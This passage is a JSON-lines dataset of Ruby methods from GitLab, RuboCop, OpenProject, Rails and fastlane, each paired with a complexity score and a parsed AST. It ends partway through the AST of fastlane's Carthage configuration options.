{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240930120430_drop_zoekt_shards.rb","start_line":11,"raw_source":"def down\n    create_table :zoekt_shards do |t|\n      t.text :index_base_url, null: false, limit: 1024\n      t.text :search_base_url, null: false, limit: 1024\n      t.timestamps_with_timezone\n      t.uuid :uuid, null: false, default: '00000000-00000000-00000000-00000000'\n      t.datetime_with_timezone :last_seen_at, null: false, default: '1970-01-01'\n      t.bigint :used_bytes, null: false, default: 0\n      t.bigint :total_bytes, null: false, default: 0\n      t.jsonb :metadata, null: false, default: {}\n    end\n\n    add_concurrent_index :zoekt_shards, :index_base_url, unique: true, name: 'index_zoekt_shards_on_index_base_url'\n    add_concurrent_index :zoekt_shards, :last_seen_at, name: 'index_zoekt_shards_on_last_seen_at'\n    add_concurrent_index :zoekt_shards, :search_base_url, unique: true, name: 'index_zoekt_shards_on_search_base_url'\n    add_concurrent_index :zoekt_shards, :uuid, unique: true, name: 'unique_zoekt_shards_uuid'\n  end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"zoekt_shards\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"index_base_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[1024]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"search_base_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[1024]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"uuid\",{\"type\":\"sym\",\"children\":[\"uuid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"00000000-00000000-00000000-00000000\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime_with_timezone\",{\"type\":\"sym\",\"children\":[\"last_seen_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"1970-01-01\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"used_bytes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"total_bytes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"zoekt_shards\"]},{\"type\":\"sym\",\"children\":[\"index_base_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_zoekt_shards_on_index_base_url\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"zoekt_shards\"]},{\"type\":\"sym\",\"children\":[\"last_seen_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_zoekt_shards_on_last_seen_at\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"zoekt_shards\"]},{\"type\":\"sym\",\"children\":[\"search_base_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_zoekt_shards_on_search_base_url\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"zoekt_shards\"]},{\"type\":\"sym\",\"children\":[\"uuid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"unique_zoekt_shards_uuid\"]}]}]}]}]}]}","id":"6539c6ad-b1a6-4044-bcda-759d19281733"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_self.rb","start_line":107,"raw_source":"def on_send(node)\n          return unless node.self_receiver? && regular_method_call?(node)\n          return if node.parent&.mlhs_type?\n          return if allowed_send_node?(node)\n          return if it_method_in_block?(node)\n\n          add_offense(node.receiver) do |corrector|\n            corrector.remove(node.receiver)\n            corrector.remove(node.loc.dot)\n          end\n        end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"self_receiver?\"]},{\"type\":\"send\",\"children\":[null,\"regular_method_call?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"mlhs_type?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_send_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it_method_in_block?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"dot\"]}]}]}]}]}]}","id":"0c19ac1d-68c9-46e5-9f94-8e24efeec8f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/health_checks/redis/redis_abstract_check.rb","start_line":13,"raw_source":"def redis_instance_class_name\n          Gitlab::Redis.const_get(redis_instance_name.camelize, false)\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"redis_instance_class_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"const_get\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis_instance_name\"]},\"camelize\"]},{\"type\":\"false\",\"children\":[]}]}]}","id":"c7aa250f-f6d6-4645-bae4-4daa32fc1c28"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/orders/project_phase_order.rb","start_line":101,"raw_source":"def order_by_start_and_finish_date\n    steps_table = Arel::Table.new(subquery_table_name.to_s)\n\n    # Even though a gate does not define an finish_date, this code still works.\n    [\n      steps_table[:start_date].send(direction),\n      steps_table[:finish_date].send(direction)\n    ]\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"order_by_start_and_finish_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"steps_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Table\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subquery_table_name\"]},\"to_s\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"steps_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start_date\"]}]},\"send\",{\"type\":\"send\",\"children\":[null,\"direction\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"steps_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"finish_date\"]}]},\"send\",{\"type\":\"send\",\"children\":[null,\"direction\"]}]}]}]}]}","id":"59f9e9f9-b602-4c24-9995-af6a56663872"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/update_service.rb","start_line":130,"raw_source":"def transaction_update_task(issue)\n      return false unless super\n\n      sync_to_work_item_description(issue)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"transaction_update_task\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"sync_to_work_item_description\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]}]}]}","id":"bb7f90d6-ec47-4cfe-9137-8a3624970858"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":2058,"raw_source":"def test_fields_with_nil_index_option_override\n    @rendered = fields(\"post[]\", model: @post, index: nil) do |f|\n      concat f.text_field(:title)\n      concat f.textarea(:body)\n      concat f.checkbox(:secret)\n    end\n\n    expected =\n      \"<input name='post[][title]' type='text' value='Hello World' id='post__title' />\" \\\n      \"<textarea name='post[][body]' id='post__body'>\\nBack to the hill and over it again!</textarea>\" \\\n      \"<input name='post[][secret]' type='hidden' value='0' autocomplete='off' />\" \\\n      \"<input name='post[][secret]' checked='checked' type='checkbox' value='1' id='post__secret' />\"\n\n    assert_dom_equal expected, @rendered\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fields_with_nil_index_option_override\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@rendered\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fields\",{\"type\":\"str\",\"children\":[\"post[]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"textarea\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"checkbox\",{\"type\":\"sym\",\"children\":[\"secret\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input name='post[][title]' type='text' value='Hello World' id='post__title' />\"]},{\"type\":\"str\",\"children\":[\"<textarea name='post[][body]' id='post__body'>\\nBack to the hill and over it again!</textarea>\"]},{\"type\":\"str\",\"children\":[\"<input name='post[][secret]' type='hidden' value='0' autocomplete='off' />\"]},{\"type\":\"str\",\"children\":[\"<input name='post[][secret]' checked='checked' type='checkbox' value='1' id='post__secret' />\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"06a2cbe8-0ad8-4eae-bed3-671151cb9587"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/carthage.rb","start_line":77,"raw_source":"def self.available_options\n        [\n          FastlaneCore::ConfigItem.new(key: :command,\n                                       env_name: \"FL_CARTHAGE_COMMAND\",\n                                       description: \"Carthage command (one of: #{available_commands.join(', ')})\",\n                                       default_value: 'bootstrap',\n                                       verify_block: proc do |value|\n                                         UI.user_error!(\"Please pass a valid command. Use one of the following: #{available_commands.join(', ')}\") unless available_commands.include?(value)\n                                       end),\n          FastlaneCore::ConfigItem.new(key: :dependencies,\n                                       description: \"Carthage dependencies to update, build or bootstrap\",\n                                       default_value: [],\n                                       type: Array),\n          FastlaneCore::ConfigItem.new(key: :use_ssh,\n                                       env_name: \"FL_CARTHAGE_USE_SSH\",\n                                       description: \"Use SSH for downloading GitHub repositories\",\n                                       type: Boolean,\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :use_submodules,\n                                       env_name: \"FL_CARTHAGE_USE_SUBMODULES\",\n                                       description: \"Add dependencies as Git submodules\",\n                                       type: Boolean,\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :use_netrc,\n                                       env_name: \"FL_CARTHAGE_USE_NETRC\",\n                                       description: \"Use .netrc for downloading frameworks\",\n                                       type: Boolean,\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :use_binaries,\n                                       env_name: \"FL_CARTHAGE_USE_BINARIES\",\n                                       description: \"Check out dependency repositories even when prebuilt frameworks exist\",\n                                       type: Boolean,\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :no_checkout,\n                                       env_name: \"FL_CARTHAGE_NO_CHECKOUT\",\n                                       description: \"When bootstrapping Carthage do not checkout\",\n                                       type: Boolean,\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :no_build,\n                                       env_name: \"FL_CARTHAGE_NO_BUILD\",\n                                       description: \"When bootstrapping Carthage do not build\",\n                                       type: Boolean,\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :no_skip_current,\n                                       env_name: \"FL_CARTHAGE_NO_SKIP_CURRENT\",\n                                       description: \"Don't skip building the Carthage project (in addition to its dependencies)\",\n                                       type: Boolean,\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :derived_data,\n                                       env_name: \"FL_CARTHAGE_DERIVED_DATA\",\n                                       description: \"Use derived data folder at path\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :verbose,\n                                       env_name: \"FL_CARTHAGE_VERBOSE\",\n                                       description: \"Print xcodebuild output inline\",\n                                       type: Boolean,\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :platform,\n                                       env_name: \"FL_CARTHAGE_PLATFORM\",\n                                       description: \"Define which platform to build for\",\n                                       optional: true,\n                                       verify_block: proc do |value|\n                                         value.split(',').each do |platform|\n                                           UI.user_error!(\"Please pass a valid platform. Use one of the following: #{available_platforms.join(', ')}\") unless available_platforms.map(&:downcase).include?(platform.downcase)\n                                         end\n                                       end),\n          FastlaneCore::ConfigItem.new(key: :cache_builds,\n                                       env_name: \"FL_CARTHAGE_CACHE_BUILDS\",\n                                       description: \"By default Carthage will rebuild a dependency regardless of whether it's the same resolved version as before. Passing the --cache-builds will cause carthage to avoid rebuilding a dependency if it can\",\n                                       type: Boolean,\n                                       default_value: false),\n          FastlaneCore::ConfigItem.new(key: :frameworks,\n                                       description: \"Framework name or names to archive, could be applied only along with the archive command\",\n                                       default_value: [],\n                                       type: Array),\n          FastlaneCore::ConfigItem.new(key: :output,\n                                       description: \"Output name for the archive, could be applied only along with the archive command. Use following format *.framework.zip\",\n                                       optional: true,\n                                       verify_block: proc do |value|\n                                         UI.user_error!(\"Please pass a valid string for output. Use following format *.framework.zip\") unless value.end_with?(\"framework.zip\")\n                                       end),\n          FastlaneCore::ConfigItem.new(key: :configuration,\n                                       env_name: \"FL_CARTHAGE_CONFIGURATION\",\n                                       description: \"Define which build configuration to use when building\",\n                                       optional: true,\n                                       verify_block: proc do |value|\n                                         if value.chomp(' ').empty?\n                                           UI.user_error!(\"Please pass a valid build configuration. You can review the list of configurations for this project using the command: xcodebuild -list\")\n                                         end\n                                       end),\n          FastlaneCore::ConfigItem.new(key: :toolchain,\n                                       env_name: \"FL_CARTHAGE_TOOLCHAIN\",\n                                       description: \"Define which xcodebuild toolchain to use when building\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :project_directory,\n                                       env_name: \"FL_CARTHAGE_PROJECT_DIRECTORY\",\n                                       description: \"Define the directory containing the Carthage project\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :new_resolver,\n                                       env_name: \"FL_CARTHAGE_NEW_RESOLVER\",\n                                       description: \"Use new resolver when resolving dependency graph\",\n                                       optional: true,\n                                       type: Boolean),\n          FastlaneCore::ConfigItem.new(key: :log_path,\n                                       env_name: \"FL_CARTHAGE_LOG_PATH\",\n                                       description: \"Path to the xcode build output\",\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :use_xcframeworks,\n                                       env_name: \"FL_CARTHAGE_USE_XCFRAMEWORKS\",\n                                       description: \"Create xcframework bundles instead of one framework per platform (requires Xcode 12+)\",\n                                       type: Boolean,\n                                       default_value: false),\n          FastlaneCore::ConfigItem.new(key: :archive,\n                                       env_name: \"FL_CARTHAGE_ARCHIVE\",\n                                       description: \"Archive built frameworks from the current project\",\n                                       type: Boolean,\n                                       default_value: false),\n          FastlaneCore::ConfigItem.new(key: :executable,\n                                       env_name: \"FL_CARTHAGE_EXECUTABLE\",\n                                       description: \"Path to the `carthage` executable on your machine\",\n                                       default_value: 'carthage')\n        ]\n      end","complexity_score":72.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"command\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_COMMAND\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Carthage command (one of: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_commands\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"str\",\"children\":[\"bootstrap\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_commands\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Please pass a valid command. Use one of the following: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_commands\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"dependencies\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Carthage dependencies to update, build or bootstrap\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Array\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"use_ssh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_USE_SSH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use SSH for downloading GitHub repositories\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"use_submodules\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_USE_SUBMODULES\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Add dependencies as Git submodules\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"use_netrc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_USE_NETRC\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use .netrc for downloading frameworks\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"use_binaries\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_USE_BINARIES\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Check out dependency repositories even when prebuilt frameworks exist\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"no_checkout\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_NO_CHECKOUT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"When bootstrapping Carthage do not checkout\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"no_build\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_NO_BUILD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"When bootstrapping Carthage do not 